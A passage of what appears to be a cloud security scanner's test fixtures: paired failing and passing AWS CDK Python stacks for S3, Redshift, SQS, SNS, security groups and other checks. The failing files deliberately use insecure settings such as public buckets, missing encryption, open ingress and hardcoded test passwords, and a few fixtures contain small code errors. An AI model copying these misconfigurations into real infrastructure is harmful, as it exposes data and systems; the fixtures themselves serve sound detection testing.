"MyRedshiftCluster", cluster_identifier="my-redshift-cluster", master_username="admin", master_user_password="MySecurePassword123", # checkov:skip=CKV_SECRET_6 test secret node_type="dc2.large", cluster_type="single-node", ) app = core.App() RedshiftClusterStack(app, "RedshiftClusterStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/RedshiftClusterEncryption/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_redshift as redshift class RedshiftClusterStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an Amazon Redshift cluster redshift_cluster = redshift.CfnCluster( self, "MyRedshiftCluster", cluster_identifier="my-redshift-cluster", master_username="admin", master_user_password="MySecurePassword123", # checkov:skip=CKV_SECRET_6 test secret node_type="dc2.large", cluster_type="single-node", encrypted=True # Enable encryption ) app = core.App() RedshiftClusterStack(app, "RedshiftClusterStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/RedshiftClusterLogging/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_redshift as redshift class MyRedshiftClusterStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Redshift Cluster with logging properties redshift.CfnCluster( self, 'MyRedshiftCluster', cluster_type='single-node', # Or 'multi-node' based on your configuration db_name='mydb', master_username='admin', master_user_password='password', # Other properties as needed for your Redshift cluster ) app = core.App() MyRedshiftClusterStack(app, "MyRedshiftClusterStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/RedshiftClusterLogging/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_redshift as redshift class MyRedshiftClusterStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Redshift Cluster with logging properties redshift.CfnCluster( self, 'MyRedshiftCluster', cluster_type='single-node', # Or 'multi-node' based on your configuration db_name='mydb', master_username='admin', master_user_password='password', logging_properties=redshift.CfnCluster.LoggingPropertiesProperty( bucket_name='my-redshift-logs-bucket' # Replace with your S3 bucket name ) # Other properties as needed for your Redshift cluster ) app = core.App() MyRedshiftClusterStack(app, "MyRedshiftClusterStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/RedshiftClusterPubliclyAccessible/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_redshift as redshift class RedshiftStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a Redshift cluster with PubliclyAccessible set to true redshift_cluster = redshift.CfnCluster( self, "MyRedshiftCluster", cluster_identifier="my-redshift-cluster", node_type="dc2.large", publicly_accessible=True, # Set PubliclyAccessible to true master_username="admin", master_user_password="MyPassword123", # checkov:skip=CKV_SECRET_6 test secret ) app = core.App() RedshiftStack(app, "RedshiftStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/RedshiftClusterPubliclyAccessible/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_redshift as redshift class RedshiftStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a Redshift cluster with PubliclyAccessible set to False redshift_cluster = redshift.CfnCluster( self, "MyRedshiftCluster", cluster_identifier="my-redshift-cluster", node_type="dc2.large", publicly_accessible=False, # Set PubliclyAccessible to False master_username="admin", master_user_password="MyPassword123", # checkov:skip=CKV_SECRET_6 test secret ) app = core.App() RedshiftStack(app, "RedshiftStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/RedshiftInEc2ClassicMode/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_redshift as redshift class MyRedshiftClusterStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Redshift Cluster with a specific Cluster Subnet Group name redshift.CfnCluster( self, 'MyRedshiftCluster', ) app = core.App() MyRedshiftClusterStack(app, "MyRedshiftClusterStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/RedshiftInEc2ClassicMode/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_redshift as redshift class MyRedshiftClusterStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Redshift Cluster with a specific Cluster Subnet Group name redshift.CfnCluster( self, 'MyRedshiftCluster', cluster_subnet_group_name='my-redshift-subnet-group', # Replace with your Cluster Subnet Group name # Other properties for your Redshift Cluster ) app = core.App() MyRedshiftClusterStack(app, "MyRedshiftClusterStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3BlockPublicACLs/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_s3 as s3 class S3BucketWithBlockPublicAclsStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) s3.Bucket( self, "MyBucket", block_public_access=s3.BlockPublicAccess(block_public_acls=False) ) app = core.App() S3BucketWithBlockPublicAclsStack(app, "S3BucketWithBlockPublicAclsStack") app.synth() class S3BucketWithBlockPublicAclsStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) s3.CfnBucket( self, "MyBucket", public_access_block_configuration={ "blockPublicAcls": False, "blockPublicPolicy": True, "ignorePublicAcls": True, "restrictPublicBuckets": True } ) app = core.App() S3BucketWithBlockPublicAclsStack(app, "S3BucketWithBlockPublicAclsStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3BlockPublicACLs/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_s3 as s3 class S3BucketWithBlockPublicAclsStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) s3.CfnBucket( self, "MyBucket", public_access_block_configuration={ "blockPublicAcls": True, "blockPublicPolicy": True, "ignorePublicAcls": True, "restrictPublicBuckets": True } ) app = core.App() S3BucketWithBlockPublicAclsStack(app, "S3BucketWithBlockPublicAclsStack") app.synth() class S3BucketWithBlockPublicAclsStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) s3.Bucket( self, "MyBucket", block_public_access=s3.BlockPublicAccess(block_public_acls=True) ) app = core.App() S3BucketWithBlockPublicAclsStack(app, "S3BucketWithBlockPublicAclsStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3BlockPublicPolicy/fail__2__.py ================================================ from constructs import Construct from aws_cdk import App, Stack from aws_cdk import ( aws_s3 as s4 ) class MyS3Stack(Stack): def __init__(self, scope: Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) bucket = s4.Bucket(self, "MyBlockedBucket", block_public_access=s4.BlockPublicAccess(block_public_policy=False) ) bucket2 = s4.Bucket(self, "MyBlockedBucket2" ) app = App() MyS3Stack(app, "MyS3Stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3BlockPublicPolicy/pass.py ================================================ from constructs import Construct from aws_cdk import App, Stack from aws_cdk import ( aws_s3 as s4 ) class MyS3Stack(Stack): def __init__(self, scope: Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) bucket = s4.Bucket(self, "MyBlockedBucket", block_public_access=s4.BlockPublicAccess(block_public_policy=True) ) bucket2 = s4.Bucket(self, "MyBlockedBucket2", block_public_access=s4.BlockPublicAccess.BLOCK_ALL ) app = App() MyS3Stack(app, "MyS3Stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3BucketEncryption/fail__2__.py ================================================ from aws_cdk import App, Stack, aws_s3 as s3 class AppStack(Stack): def __init__(self, app: App, id: str) -> None: super().__init__(app, id) fail_1 = s3.Bucket( self, "example", ) fail_2 = s3.Bucket( self, "example", encryption=s3.BucketEncryption.UNENCRYPTED, ) app = App() AppStack(app, "example-stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3BucketEncryption/pass.py ================================================ from aws_cdk import App, Stack, aws_s3 as s3 class AppStack(Stack): def __init__(self, app: App, id: str) -> None: super().__init__(app, id) pass_1 = s3.Bucket( self, "example", encryption=s3.BucketEncryption.S3_MANAGED, ) app = App() AppStack(app, "example-stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3BucketKMSEncryption/fail__3__.py ================================================ from aws_cdk import App, Stack, aws_s3 as s3 class AppStack(Stack): def __init__(self, app: App, id: str) -> None: super().__init__(app, id) fail_1 = s3.Bucket( self, "example", ) fail_2 = s3.Bucket( self, "example", encryption=s3.BucketEncryption.UNENCRYPTED, ) fail_3 = s3.Bucket( self, "example", encryption=s3.BucketEncryption.S3_MANAGED, ) app = App() AppStack(app, "example-stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3BucketKMSEncryption/pass.py ================================================ from aws_cdk import App, Stack, aws_s3 as s3 class AppStack(Stack): def __init__(self, app: App, id: str) -> None: super().__init__(app, id) pass_1 = s3.Bucket( self, "example", encryption=s3.BucketEncryption.KMS_MANAGED, ) app = App() AppStack(app, "example-stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3BucketLogging/fail.py ================================================ from aws_cdk import App, Stack, aws_s3 as s3 class AppStack(Stack): def __init__(self, app: App, id: str) -> None: super().__init__(app, id) fail_1 = s3.Bucket( self, "example", ) app = App() AppStack(app, "example-stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3BucketLogging/pass.py ================================================ from aws_cdk import App, Stack, aws_s3 as s3 class AppStack(Stack): def __init__(self, app: App, id: str) -> None: super().__init__(app, id) pass_1 = s3.Bucket( self, "example", # this would normally reference another bucket, but then I can't separate the tests server_access_logs_bucket=bucket, ) app = App() AppStack(app, "example-stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3BucketPublicAccessBlock/fail.py ================================================ from aws_cdk import App, Stack, aws_s3 as s3 class AppStack(Stack): def __init__(self, app: App, id: str) -> None: super().__init__(app, id) fail_1 = s3.Bucket( self, "example", ) app = App() AppStack(app, "example-stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3BucketPublicAccessBlock/pass.py ================================================ from aws_cdk import App, Stack, aws_s3 as s3 class AppStack(Stack): def __init__(self, app: App, id: str) -> None: super().__init__(app, id) pass_1 = s3.Bucket( self, "example", block_public_access=s3.BlockPublicAccess.BLOCK_ALL, ) app = App() AppStack(app, "example-stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3BucketVersioning/fail__2__.py ================================================ from aws_cdk import App, Stack, aws_s3 as s3 class AppStack(Stack): def __init__(self, app: App, id: str) -> None: super().__init__(app, id) fail_1 = s3.Bucket( self, "example", ) fail_2 = s3.Bucket( self, "example", versioned=False, ) app = App() AppStack(app, "example-stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3BucketVersioning/pass.py ================================================ from aws_cdk import App, Stack, aws_s3 as s3 class AppStack(Stack): def __init__(self, app: App, id: str) -> None: super().__init__(app, id) pass_1 = s3.Bucket( self, "example", versioned=True, ) app = App() AppStack(app, "example-stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3IgnorePublicACLs/fail__2__.py ================================================ from constructs import Construct from aws_cdk import App, Stack from aws_cdk import ( aws_s3 as s4 ) class MyStack(Stack): def __init__(self, scope: Construct, id: str, **kwargs): super().__init__(scope, id, **kwargs) # fail bucket = s4.Bucket(self, "MyS3Bucket", bucket_name='my-s3-bucket', public_read_access=False, block_public_access=s4.BlockPublicAccess( ignore_public_acls=False ) ) value = False # fail bucket2 = s4.Bucket(self, "MyS3Bucket2", bucket_name='my-s3-bucket2', public_read_access=False, block_public_access=s4.BlockPublicAccess( ignore_public_acls=value ) ) app = App() MyStack(app, "my-stack-name") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3IgnorePublicACLs/pass.py ================================================ from constructs import Construct from aws_cdk import App, Stack from aws_cdk import ( aws_s3 as s4 ) class MyStac2(Stack): def __init__(self, scope: Construct, id: str, **kwargs): super().__init__(scope, id, **kwargs) # pass bucket = s4.Bucket(self, "MyS3Bucket", bucket_name='my-s3-bucket', public_read_access=False, block_public_access=s4.BlockPublicAccess( ignore_public_acls=True ) ) # pass bucket2 = s4.Bucket(self, "MyS3Bucket2", bucket_name='my-s3-bucket2', public_read_access=False, block_public_access=s4.BlockPublicAccess( ignore_public_acls=True ) ) app = App() MyStack(app, "my-stack-name") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3PublicACLRead/fail__3__.py ================================================ from constructs import Construct from aws_cdk import App, Stack from aws_cdk import ( aws_s3 as s3 ) class MyS3Stack(Stack): def __init__(self, scope: Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) bucket = s3.Bucket(self, "MyPublicReadBucket", bucket_name="my-public-read-bucket", access_control=s3.BucketAccessControl.PUBLIC_READ ) bucket2 = s3.Bucket(self, "MyPublicReadBucket2", bucket_name="my-public-read-bucket2", access_control=s3.BucketAccessControl.PUBLIC_READ_WRITE ) bucket3 = s3.Bucket(self, "MyPublicReadBucket3", bucket_name="my-public-read-bucket3", public_read_access=True ) app = App() MyS3Stack(app, "MyS3Stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3PublicACLRead/pass.py ================================================ from constructs import Construct from aws_cdk import App, Stack from aws_cdk import ( aws_s3 as s3 ) class MyS3Stack(Stack): def __init__(self, scope: Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) bucket = s3.Bucket(self, "MyPublicReadBucket", bucket_name="my-public-read-bucket" ) bucket2 = s3.Bucket(self, "MyPublicReadBucket2", bucket_name="my-public-read-bucket2", access_control=s3.BucketAccessControl.PRIVATE ) app = App() MyS3Stack(app, "MyS3Stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3PublicACLWrite/fail__2__.py ================================================ from constructs import Construct from aws_cdk import App, Stack from aws_cdk import ( aws_s3 as s3 ) class MyS3Stack(Stack): def __init__(self, scope: Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) bucket2 = s3.Bucket(self, "MyPublicReadBucket2", bucket_name="my-public-read-bucket2", access_control=s3.BucketAccessControl.PUBLIC_READ_WRITE ) bucket3 = s3.Bucket(self, "MyPublicReadBucket3", bucket_name="my-public-read-bucket3", public_read_access=True ) app = App() MyS3Stack(app, "MyS3Stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3PublicACLWrite/pass.py ================================================ from constructs import Construct from aws_cdk import App, Stack from aws_cdk import ( aws_s3 as s3 ) class MyS3Stack(Stack): def __init__(self, scope: Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) bucket = s3.Bucket(self, "MyPublicReadBucket", bucket_name="my-public-read-bucket" ) bucket2 = s3.Bucket(self, "MyPublicReadBucket2", bucket_name="my-public-read-bucket2", access_control=s3.BucketAccessControl.PRIVATE ) app = App() MyS3Stack(app, "MyS3Stack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3RestrictPublicBuckets/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_s3 as s3 class S3BucketWithPublicAccessStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) s3.Bucket( self, "aaa", versioned=False, # You can enable versioning if needed removal_policy=core.RemovalPolicy.DESTROY, # Change this according to your retention policy block_public_acls=True, block_public_policy=True, ignore_public_acls=True, restrict_public_buckets=False ) app = core.App() S3BucketWithPublicAccessStack(app, "S3BucketWithPublicAccessStack") app.synth() class PublicS3BucketStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a CloudFormation S3 bucket resource public_bucket = s3.CfnBucket( self, "PublicBucket", versioning_configuration={ "status": "Suspended" # You can enable versioning if needed }, public_access_block_configuration={ "blockPublicAcls": True, "blockPublicPolicy": True, "ignorePublicAcls": True, "restrictPublicBuckets": False } ) app = core.App() PublicS3BucketStack(app, "PublicS3BucketStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/S3RestrictPublicBuckets/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_s3 as s3 class S3BucketWithPublicAccessStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) s3.Bucket( self, "aaa", versioned=False, # You can enable versioning if needed removal_policy=core.RemovalPolicy.DESTROY, # Change this according to your retention policy block_public_acls=True, block_public_policy=True, ignore_public_acls=True, restrict_public_buckets=True ) app = core.App() S3BucketWithPublicAccessStack(app, "S3BucketWithPublicAccessStack") app.synth() class PublicS3BucketStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a CloudFormation S3 bucket resource public_bucket = s3.CfnBucket( self, "PublicBucket", versioning_configuration={ "status": "Suspended" # You can enable versioning if needed }, public_access_block_configuration={ "blockPublicAcls": True, "blockPublicPolicy": True, "ignorePublicAcls": True, "restrictPublicBuckets": True } ) app = core.App() PublicS3BucketStack(app, "PublicS3BucketStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/SNSTopicEncryption/fail.py ================================================ from constructs import Construct from aws_cdk import ( App, Stack, aws_sns as sns, aws_kms as kms ) class MyStack(Stack): def __init__(self, scope: Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) topic = sns.Topic(self, "Topic", topic_name="my-topic", ) app = App() MyStack(app, "MyStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/SNSTopicEncryption/pass.py ================================================ from constructs import Construct from aws_cdk import ( App, Stack, aws_sns as sns, aws_kms as kms ) class MyStack(Stack): def __init__(self, scope: Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) key = kms.Key(self, "MyKey") topic = sns.Topic(self, "Topic", topic_name="my-topic", master_key=key) app = App() MyStack(app, "MyStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/SQSQueueEncryption/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_sqs as sqs class SqsQueueWithKmsKeyStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an SQS queue with KMS encryption queue = sqs.Queue(self, "MySqsQueue", encryption=sqs.QueueEncryption.KMS, visibility_timeout=300 # Other properties for the queue ) app = core.App() SqsQueueWithKmsKeyStack(app, "SqsQueueWithKmsKeyStack") app.synth() class SqsQueueWithKmsKeyIdStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define an SQS queue with a specific KmsMasterKeyId queue = sqs.CfnQueue(self, "MySqsQueue", visibility_timeout=300 # Other properties for the queue ) app = core.App() SqsQueueWithKmsKeyIdStack(app, "SqsQueueWithKmsKeyIdStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/SQSQueueEncryption/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_sqs as sqs from aws_cdk import aws_kms as kms from aws_cdk import aws_cloudformation as cfn class SqsQueueWithKmsKeyStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a KMS key for encryption kms_key = kms.Key(self, "MyKmsKey", enable_key_rotation=True) # Create an SQS queue with KMS encryption queue = sqs.Queue(self, "MySqsQueue", encryption=sqs.QueueEncryption.KMS, encryption_master_key=kms_key, visibility_timeout=300 # Other properties for the queue ) app = core.App() SqsQueueWithKmsKeyStack(app, "SqsQueueWithKmsKeyStack") app.synth() class SqsQueueWithKmsKeyIdStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define a custom KMS key kms_key = cfn.CfnCustomResource(self, "MyKmsKeyResource", service_token="arn:aws:lambda:::function/", # Add other properties as needed ) # Define an SQS queue with a specific KmsMasterKeyId queue = sqs.CfnQueue(self, "MySqsQueue", kms_master_key_id=kms_key.get_att("KmsKeyId"), visibility_timeout=300 # Other properties for the queue ) app = core.App() SqsQueueWithKmsKeyIdStack(app, "SqsQueueWithKmsKeyIdStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/SecretManagerSecretEncrypted/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_secretsmanager as secretsmanager class MySecretsStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define a SecretsManager secret with KMS key ID containing "aws/" my_secret = secretsmanager.Secret( self, 'MySecret', secret_name='MySecretName', kms_key_id='arn:aws:kms:REGION:ACCOUNT_ID:key/aws/KMS_KEY_ID' ) class MySecretsStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) my_secret = secretsmanager.Secret( self, 'MySecret', secret_name='MySecretName', ) app = core.App() MySecretsStack(app, "MySecretsStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/SecretManagerSecretEncrypted/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_secretsmanager as secretsmanager class MySecretsStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define a SecretsManager secret with KMS key ID containing "aws/" my_secret = secretsmanager.Secret( self, 'MySecret', secret_name='MySecretName', kms_key_id='arn:aws:kms:REGION:ACCOUNT_ID:key/KMS_KEY_ID' ) app = core.App() MySecretsStack(app, "MySecretsStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/SecurityGroupRuleDescription/fail__4__.py ================================================ from aws_cdk import core from aws_cdk import aws_ec2 as ec2 class MySecurityGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define EC2 Security Group security_group = ec2.CfnSecurityGroup( self, 'MySecurityGroup', group_description='My security group', security_group_ingress=[ { 'description': 'False', 'ipProtocol': 'tcp', 'fromPort': 80, 'toPort': 80, 'cidrIp': '0.0.0.0/0' } ], # Other properties for your Security Group ) app = core.App() MySecurityGroupStack(app, "MySecurityGroupStack") app.synth() class MySecurityGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define EC2 Security Group security_group = ec2.CfnSecurityGroup( self, 'MySecurityGroup', group_description='My security group', security_group_egress=[ { 'description': 'False', 'ipProtocol': 'tcp', 'fromPort': 80, 'toPort': 80, 'cidrIp': '0.0.0.0/0' } ], # Other properties for your Security Group ) app = core.App() MySecurityGroupStack(app, "MySecurityGroupStack") app.synth() class MySecurityGroupIngressStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define EC2 Security Group Ingress security_group_ingress = ec2.CfnSecurityGroupIngress( self, 'MySecurityGroupIngress', group_id='your-security-group-id', # Replace with your Security Group ID ip_protocol='tcp', from_port=80, to_port=80, cidr_ip='0.0.0.0/0', # Other properties for your Security Group Ingress ) app = core.App() MySecurityGroupIngressStack(app, "MySecurityGroupIngressStack") app.synth() class MySecurityGroupEgressStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define EC2 Security Group Ingress security_group_ingress = ec2.CfnSecurityGroupEgress( self, 'MySecurityGroupIngress', group_id='your-security-group-id', # Replace with your Security Group ID ip_protocol='tcp', from_port=80, to_port=80, cidr_ip='0.0.0.0/0', # Other properties for your Security Group Ingress ) app = core.App() MySecurityGroupEgressStack(app, "MySecurityGroupEgressStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/SecurityGroupRuleDescription/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_ec2 as ec2 class MySecurityGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define EC2 Security Group security_group = ec2.CfnSecurityGroup( self, 'MySecurityGroup', group_description='My security group', security_group_ingress=[ { 'description': 'True', 'ipProtocol': 'tcp', 'fromPort': 80, 'toPort': 80, 'cidrIp': '0.0.0.0/0' } ], # Other properties for your Security Group ) app = core.App() MySecurityGroupStack(app, "MySecurityGroupStack") app.synth() class MySecurityGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define EC2 Security Group security_group = ec2.CfnSecurityGroup( self, 'MySecurityGroup', group_description='My security group', security_group_egress=[ { 'description': 'True', 'ipProtocol': 'tcp', 'fromPort': 80, 'toPort': 80, 'cidrIp': '0.0.0.0/0' } ], # Other properties for your Security Group ) app = core.App() MySecurityGroupStack(app, "MySecurityGroupStack") app.synth() class MySecurityGroupIngressStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define EC2 Security Group Ingress security_group_ingress = ec2.CfnSecurityGroupIngress( self, 'MySecurityGroupIngress', group_id='your-security-group-id', # Replace with your Security Group ID ip_protocol='tcp', from_port=80, to_port=80, cidr_ip='0.0.0.0/0', description='abc' # Other properties for your Security Group Ingress ) app = core.App() MySecurityGroupIngressStack(app, "MySecurityGroupIngressStack") app.synth() class MySecurityGroupEgressStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define EC2 Security Group Ingress security_group_ingress = ec2.CfnSecurityGroupEgress( self, 'MySecurityGroupIngress', group_id='your-security-group-id', # Replace with your Security Group ID ip_protocol='tcp', from_port=80, to_port=80, cidr_ip='0.0.0.0/0', description='abc' # Other properties for your Security Group Ingress ) app = core.App() MySecurityGroupEgressStack(app, "MySecurityGroupEgressStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/TransferServerIsPublic/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_transfer as transfer class MyTransferServerStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Transfer Server with EndpointType set to VPC transfer.CfnServer( self, 'MyTransferServer', endpoint_type='abc', # Other properties as needed for your Transfer Server ) app = core.App() MyTransferServerStack(app, "MyTransferServerStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/TransferServerIsPublic/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_transfer as transfer class MyTransferServerStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Transfer Server with EndpointType set to VPC transfer.CfnServer( self, 'MyTransferServer', endpoint_type='VPC', # Other properties as needed for your Transfer Server ) app = core.App() MyTransferServerStack(app, "MyTransferServerStack") app.synth() class MyTransferServerStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Transfer Server with EndpointType set to VPC transfer.CfnServer( self, 'MyTransferServer', endpoint_type='VPC_ENDPOINT', # Other properties as needed for your Transfer Server ) app = core.App() MyTransferServerStack2(app, "MyTransferServerStack2") app.synth() ================================================ FILE: cdk_integration_tests/src/python/VPCEndpointAcceptanceConfigured/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_ec2 as ec2 class MyVpcEndpointServiceStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define VPC Endpoint Service with acceptance required vpc_endpoint_service = ec2.CfnVPCEndpointService( self, 'MyVPCEndpointService', acceptance_required=False, # Other properties for your VPC Endpoint Service ) app = core.App() MyVpcEndpointServiceStack(app, "MyVpcEndpointServiceStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/VPCEndpointAcceptanceConfigured/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_ec2 as ec2 class MyVpcEndpointServiceStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define VPC Endpoint Service with acceptance required vpc_endpoint_service = ec2.CfnVPCEndpointService( self, 'MyVPCEndpointService', acceptance_required=True, # Other properties for your VPC Endpoint Service ) app = core.App() MyVpcEndpointServiceStack(app, "MyVpcEndpointServiceStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/WAFEnabled/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_cloudfront as cloudfront class CloudFrontDistributionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a CloudFront distribution distribution = cloudfront.CfnDistribution( self, "MyCloudFrontDistribution", distribution_config={ "defaultCacheBehavior": { # Configure your cache behavior as needed }, "enabled": True, } ) app = core.App() CloudFrontDistributionStack(app, "CloudFrontDistributionStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/WAFEnabled/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_cloudfront as cloudfront from aws_cdk import aws_wafv2 as wafv2 class CloudFrontDistributionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a WebACL web_acl = wafv2.CfnWebACL( self, "MyWebACL", default_action={ "allow": {} }, # Configure your WebACL as needed ) # Create a CloudFront distribution distribution = cloudfront.CfnDistribution( self, "MyCloudFrontDistribution", distribution_config={ "defaultCacheBehavior": { # Configure your cache behavior as needed }, "enabled": True, "webAclId": web_acl.attr_arn # Set the WebACL association } ) app = core.App() CloudFrontDistributionStack(app, "CloudFrontDistributionStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/WorkspaceRootVolumeEncrypted/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_workspaces as workspaces class WorkSpacesStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a WorkSpaces directory directory = workspaces.CfnWorkspaceDirectory( self, "MyWorkspaceDirectory", directory_name="my-workspace-directory", subnet_ids=["subnet-12345678"], # Replace with your subnet IDs self_service_permissions="ENABLED", ) # Create a WorkSpaces workspace with root volume encryption enabled workspace = workspaces.CfnWorkspace( 